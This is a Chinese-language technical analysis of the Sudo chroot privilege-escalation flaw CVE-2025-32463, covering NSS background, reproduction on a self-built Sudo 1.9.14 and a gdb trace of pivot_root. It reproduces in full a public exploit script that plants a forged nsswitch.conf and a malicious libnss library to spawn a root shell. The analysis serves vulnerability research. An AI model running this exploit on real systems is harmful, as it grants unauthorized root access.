CVE-2025-32463(Sudo 权限提升漏洞)分析
Table of Contents
1. 漏洞介绍
在 Sudo 1.9.14 ~ 1.9.17 版本范围里,通过 -R 参数可以指定一个 chroot 环境,在 chroot 过程中 Sudo 调用了 getgrouplist 一类函数,这些函数又会去调用 NSS 的相关函数,NSS 相关的函数会读取配置文件 /etc/nsswitch.conf,依据配置的来读取数据或加载 so 文件,这个漏洞出现在 chroot 到新环境后,可以控制 Sudo 去读取伪造的恶意的 nsswitch.conf 来加载 so 文件来获取 root 权限。
2. 背景知识
NSS(Name Service Switch)是 Glibc 中的一种机制,决定了查询用户、用户组、密码等信息的数据来源,通过 /etc/nsswitch.conf 文件来配置。Glibc 中有一部分函数需要依赖这些来源。
比如 nsswitch.conf 配置的 passwd:
$ grep passwd /etc/nsswitch.conf passwd: files systemd
说明读取顺序优先是从本地文件(/etc/passwd),接着是 Systemd 的用户管理机制。如果配置了 LDAP,可将配置修改为:
passwd: files systemd ldap
作为一个简单的例子,以下 C 代码调用 getpwnam 获取指定用户的信息,观察下程序的工作流程:
#include <stdio.h> #include <pwd.h> int main(void) { struct passwd *pw = getpwnam("root"); return 0; }
编译,并用 strace 命令跟踪它的系统调用:
$ gcc test.c $ strace --trace=openat ./a.out openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3 openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 3 +++ exited with 0 +++
如上输出,先是读取了 /etc/nsswitch.conf,根据配置文件内容,优先从本地文件系统中读取用户信息,所以,接下来从 /etc/passwd 开始读取。
现在我把 nsswitch.conf 中 passwd 项改成以下:
passwd: hi files systemd
再次跟踪 a.out 的系统调用,在读取 nsswitch.conf 后,又寻找 libnss_hi.so:
openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=583, ...}) = 0 read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 583 read(3, "", 4096) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=583, ...}) = 0 close(3) = 0 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=206818, ...}) = 0 mmap(NULL, 206818, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb3776c4000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v4/libnss_hi.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (没有那个文件或目录) ......
也就是配置项是“hi”,那就去尝试寻找并加载 libnss_hi.so。在公布的 PoC 中,有这么一段命令:
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
这会尝试加载 libnss_/woot1337.so,这也是 PoC 中通往 root 的最后一步。
3. 环境配置+漏洞复现
从 Sudo 官网下载 1.9.14 的源码:https://www.sudo.ws/dist/sudo-1.9.14.tar.gz
编译:
./autogen.sh
./configure --prefix=$PWD/run
make -j$(nproc)
在运行 configure 脚本时,我指定了安装在当前目录的 run 子目录中,这方便做调试。编译完成后执行:
sudo make install
这里需要 sudo 成 root 权限来安装,因为编译后的 sudo 程序本身需要给上 root 身份才能正常工作。安装完成后检查是否能正常运行:
$ ./run/bin/sudo -V Sudo 版本 1.9.14 Sudoers 策略插件版本 1.9.14 Sudoers 文件语法版本 50 Sudoers I/O plugin version 1.9.14 Sudoers audit plugin version 1.9.14
最后修改下公开的 PoC,把倒数第二行的 sudo 改成新编译后的绝对路径:
#!/bin/bash # sudo-chwoot.sh # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch # @ Stratascale Cyber Research Unit (CRU) STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" /tmp/sudo-1.9.14/run/bin/sudo -R woot woot # <--- 这里的 sudo 命令要换成新编译的 rm -rf ${STAGE?}
复现成功的样子:
$ sh sudo-chwoot.sh woot! root@:/#
4. 漏洞分析
根据漏洞信息得知问题是出现在调用 chroot() 之后,为了快速定位触发点,直接用 gdb 给 chroot() 打个断点,这里需要用 root 权限执行 gdb 才能保证新编译的 sudo 可以正常工作:
$ sudo gdb -q ./run/bin/sudo Reading symbols from ./run/bin/sudo... (gdb) b chroot <-- 给 chroot 函数打个断点 Breakpoint 1 at 0x66c0 (gdb) r -R hello hello <-- 加上 -R 参数运行新编译的 sudo Breakpoint 1, __GI_chroot () at ../sysdeps/unix/syscall-template.S:120 (gdb) bt <-- 在断点处回溯栈 #0 __GI_chroot () at ../sysdeps/unix/syscall-template.S:120 #1 0x00007f54b127c940 in pivot_root (new_root=0x559d754cddfc "hello", fds=0x7ffcd44cdba0) at ./pivot.c:47 #2 0x00007f54b128604d in set_cmnd_path (runchroot=0x559d754cddfc "hello") at ./sudoers.c:1112 #3 0x00007f54b1286487 in set_cmnd () at ./sudoers.c:1189 #4 sudoers_check_common (pwflag=pwflag@entry=0) at ./sudoers.c:404 #5 0x00007f54b12879f7 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7ffcd44cf1f0, env_add=env_add@entry=0x0, closure=closure@entry=0x7ffcd44cdd00) at ./sudoers.c:689 #6 0x00007f54b127d360 in sudoers_policy_check (argc=1, argv=0x7ffcd44cf1f0, env_add=0x0, command_infop=0x7ffcd44cddd0, argv_out=0x7ffcd44cddd8, user_env_out=0x7ffcd44cdde0, errstr=0x7ffcd44cddf8) at ./policy.c:1205 #7 0x0000559d4e83f26b in policy_check (argc=1, argv=0x7ffcd44cf1f0, env_add=<optimized out>, command_info=0x7ffcd44cddd0, run_argv=0x7ffcd44cddd8, run_envp=0x7ffcd44cdde0) at ./sudo.c:1242 #8 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at ./sudo.c:260
从打印的栈信息来看,chroot() 调用发生在 pivot_root(位于 pivot.c)函数中,pivot_root 会先保存旧根文件系统句柄,然后调用 chroot 切换到新的根文件系统:
bool pivot_root(const char *new_root, int fds[2]) { debug_decl(pivot_root, SUDOERS_DEBUG_UTIL); fds[OLD_ROOT] = open("/", O_RDONLY); fds[OLD_CWD] = open(".", O_RDONLY); if (fds[OLD_ROOT] == -1 || fds[OLD_CWD] == -1 || chroot(new_root) == -1) { if (fds[OLD_ROOT] != -1) { close(fds[OLD_ROOT]); fds[OLD_ROOT] = -1; } if (fds[OLD_CWD] != -1) { close(fds[OLD_CWD]); fds[OLD_CWD] = -1; } debug_return_bool(false); } debug_return_bool(chdir("/") == 0); }
而 pivot_root 是 set_cmnd_path(位于 sudoers.c)函数调用的:
int set_cmnd_path(const char *runchroot) { ... /* Pivot root. */ if (runchroot != NULL) { if (!pivot_root(runchroot, pivot_fds)) goto error; } ... /* Restore root. */ if (runchroot != NULL) (void)unpivot_root(pivot_fds); ... }
值得注意的是,set_cmnd_path 函数最后还会调用 unpivot_root 恢复到旧的根文件系统,也就是 NSS 函数调用发生在 pivot_root 和 unpivot_root 之间的位置,如果感兴趣的话,可以跟踪下系统调用,然后下断点观察栈回溯,这块不算是这个漏洞分析的重点,我就不细致记录了。重点是 chroot 后,可以欺骗 NSS 的函数去读恶意的 nsswitch.conf,并根据配置去加载指定的 so 文件,这也是整个 PoC 的重点:
1、编译出 libnss_/woot1337.so.2,这个 so 会执行 /bin/bash;
2、构造新的根路径环境,并配置 nsswitch.conf 去加载 libnss_/woot1337.so.2:
passwd: /woot1337
3、调用 chroot()。